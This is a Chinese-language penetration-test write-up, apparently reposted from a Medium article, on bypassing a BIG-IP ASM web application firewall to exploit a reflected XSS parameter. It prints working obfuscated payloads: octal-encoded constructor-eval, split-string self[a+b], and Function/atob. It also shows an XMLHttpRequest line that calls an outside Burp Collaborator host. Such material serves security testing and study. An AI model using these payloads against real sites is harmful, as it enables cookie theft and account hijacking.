绕 waf 实战之 xss 漏洞利用
文章来源 https://shellbr3ak.medium.com/xss-waf-bypass-128e8b4167fb
在一次测试中,遇到一个可以利用 XSS 的点,但是存在 BIG-IP ASM 防火墙,导致无法直接利用,在大神的帮助下完成了利用。随后经过自己的努力,也找到了一种绕过方式。
0x01 XSS 漏洞发现
测试中发现一个接口,参数 PAGEURL 可控,且输入的内容会原样响应在返回包中,如图:
响应包如图:
测试常规 payload 被 WAF 拦截,如图:
响应包:
可以看到被 WAF 拦截。
0x02 WAF 绕过
在这个点上测试了一天都没能绕过,在以为专注 WAF 绕过研究的大神帮助下,发现一个可用的 Payload,长下面的样子:
[]["\146\151\154\164\145\162”][“\143\157\156\163\164\162\165\143\164\157\162"]("
\145\166\141\154\50\141\164\157\142\50\42\131\127\170\154\143\156\121\157\115\123\153\75\42\51\51")()
老实说,长这个样子的 payload 我也是第一次见,解码后的内容是:
[]["filter"]["constructor"]("alert(1)")()
接下来使用这个 payload 进行测试,如图
响应如图:
可以看到 payload 都已经出现在响应包里,但是是否可以执行呢?使用浏览器打开这个 URL:
https://subdomain.redacted.com/...?PAGEURL=/something/";[][“\146\151\154\164\145\162”][“\143\157\156\163\164\162\165\143\164\157\162”](“\145\166\141\154\50\141\164\157\142\50\42\131\127\170\154\143\156\121\157\115\123\153\75\42\51\51”)();var+test="
发现代码已经执行了,说明 payload 有效。
漏洞利用
当然,我们并不会满足于只是弹窗,接下来如何利用这个漏洞才是重点,首先基于 payload 的生成规则,编写了一个 Python 脚本,方便构造不同的 payload:
脚本使用方法,输入想要注入的 payload 即可:
XSS 通常用来盗取 cookie,接下来我尝试使用 XMLHttpRequest API 结合 burp 来进行漏洞利用的验证,将下面的 payload 进行转换:
var req = new XMLHttpRequest(); req.open(“GET”, “https://s2v3f4nqrlg0kl5f2a0zggd37udl1a.burpcollaborator.net/xss",true); req.send(null);
然后将 payload 与 url 进行组合然后请求,查看 burp 的访问记录:
说明 payload 执行成功。
自我突破,新姿势
之前的 payload 是大佬给的,能不能自己实现一个绕过呢?看了一些 waf 绕过的资料后,发现以下 payload 可用:
a=”al”;b=”ert”;self[a+b]();
尝试是否可以绕过:
响应:
发现 waf 并没有拦截,尝试用浏览器打开页面,成功弹窗:
当然,利用 xss 不仅仅是弹窗,还是需要执行更复杂的功能,我们可以使用 Function 函数,构造的 payload 如下:
a=”Fun”;b=”ction”;c=”ev”;d=”al(a”;e=”tob”;f=”(‘YWxlcnQoMSk=’))”;self[a+b](c+d+e+f)();
请求之后的返回结果:
浏览器访问之后执行 payload:
接下来想要执行更复杂的 payload,只需要修改 base64 编码部分即可,所以编写了如下脚本:
比如之前提到的利用 burp 验证:
提交之后返回结果如图:
浏览器访问之后,在 burp 得到如下结果:
值得注意的是,self[""]
被拦截,但是 self[a+b]
没有。
总结
以上是这次针对存在 waf 的 xss 漏洞接口的绕过测试过程,通过一些 JavaScript 的特性,通过字符串变化、编码等方式组合 payload 从而实现 waf 的绕过,waf 通常是通过正则来进行检测和拦截,如果你找到了目标 waf 规则之外的方式,那么,恭喜你,waf 对你无用。
相关文章
- 1.9 亿美元被“掏空”!黑客牵头,路人“趁火打劫”,一切仅因一个低级致命漏洞
- 渗透之——使用reaver傻瓜式破解wifi之利用路由器WPS漏洞
- 渗透测试|分享一款weblogic漏洞利用工具
- 常见漏洞扫描工具_web漏洞扫描工具有哪些
- wannacry病毒作者_wannacry病毒利用了哪种漏洞
- 利用 OLE 对象漏洞的 HWP 恶意文件浮出水面
- 对 UAF 漏洞 CVE-2016-0167 的分析和利用
- CVE-2010-1870 S2-005 远程代码执行漏洞
- 漏洞利用-通达OA11.10前台getshell执行命令
- SQL 注入漏洞检测与利用
- 国外漏洞赏金数据共享
- 无需服务器的GitHub实时漏洞利用工具监听器,目前支持微信/TG推送,中文版 Github-CVE-Listener
- Linux64位程序中的漏洞利用
- ptmalloc与glibc堆漏洞利用
- 360本地提权漏洞演示+利用工具 EXP
- 邮件巨头Zimbra曝严重漏洞,黑客无需密码即可登录
- 解析Redis未授权访问漏洞复现与利用危害
- Adobe Acrobat Reader获得安全更新修复已在野外被利用的零日漏洞
- 勒索软件利用 Windows 驱动程序漏洞关闭防病毒软件
- 硬核观察 | 漏洞赏金计划吸引了更多道德黑客,但有 2/3 是为了好玩
- 代码审计 | Discuz最新版代码执行漏洞
- EternalBlue(永恒之蓝)工具漏洞利用细节分析
- GitHub现VMware虚拟机逃逸EXP,利用三月曝光的CVE-2017-4901漏洞
- 利用《魔兽争霸3》漏洞传播的“萝莉”蠕虫分析
- PHP中的内存破坏漏洞利用(CVE-2014-8142和CVE-2015-0231)(连载之第二篇)
- 异常中的异常——借助系统异常处理特例实现匪夷所思的漏洞利用
- 苹果回应安全威胁:最新版的iOS已修复大部分被CIA利用的漏洞
- 黑客可以利用管理DNS服务供应商的漏洞来监视公司和组织的内部流量